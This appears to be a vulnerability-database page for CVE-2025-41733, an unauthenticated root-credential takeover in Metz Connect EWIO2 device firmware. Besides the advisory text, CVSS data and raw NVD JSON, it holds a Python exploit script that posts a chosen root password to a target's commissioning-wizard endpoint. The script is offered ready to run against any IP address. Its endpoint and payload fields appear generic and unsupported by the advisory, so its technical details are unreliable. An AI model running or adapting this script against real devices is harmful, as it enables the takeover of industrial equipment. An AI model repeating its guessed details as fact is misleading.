Security Vulnerability Report
中文
CVE-2025-41733 CVSS 9.8 CRITICAL

CVE-2025-41733

Published: 2025-11-18 11:15:47
Last Modified: 2025-11-21 19:14:53

Description

The commissioning wizard on the affected devices does not validate if the device is already initialized. An unauthenticated remote attacker can construct POST requests to set root credentials.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:* - NOT VULNERABLE
受影响设备的 commissioning wizard(特定固件版本待厂商确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-41733 PoC - Unauthenticated Root Credential Setting # Target: Devices with vulnerable commissioning wizard def exploit(target_ip, target_port=443): """ Exploit for CVE-2025-41733 This PoC demonstrates setting root credentials without authentication """ url = f"https://{target_ip}:{target_port}/api/commissioning/wizard" # Malicious payload to set root credentials payload = { "action": "set_credentials", "username": "root", "password": "P@ssw0rd123!", "confirm_password": "P@ssw0rd123!", "device_initialized": False } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Sending malicious POST request...") response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] SUCCESS: Root credentials may have been set") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41733", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:46.700", "lastModified": "2025-11-21T19:14:52.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The commissioning wizard on the affected devices does not validate if the device is already initialized. An unauthenticated remote attacker can construct POST requests to set root credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "7013D45A-B3DD-4110-A0FF-D0C01B859A37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:*", "matchCriteriaId": "892DDE15-8FE1-4D57-BCB6-5DFAC1F6826C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "05FE24BB-6605-444F-ACFF-D2FD2B70C05E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A515C34-A698-47EF-B542-EAA491AE6CBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "DD9B7323-4C67-4DAC-905F-DDE5D6BD9D80"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7E4CCBC-35EE-4683-A039-55ABEE27E809"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-097", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}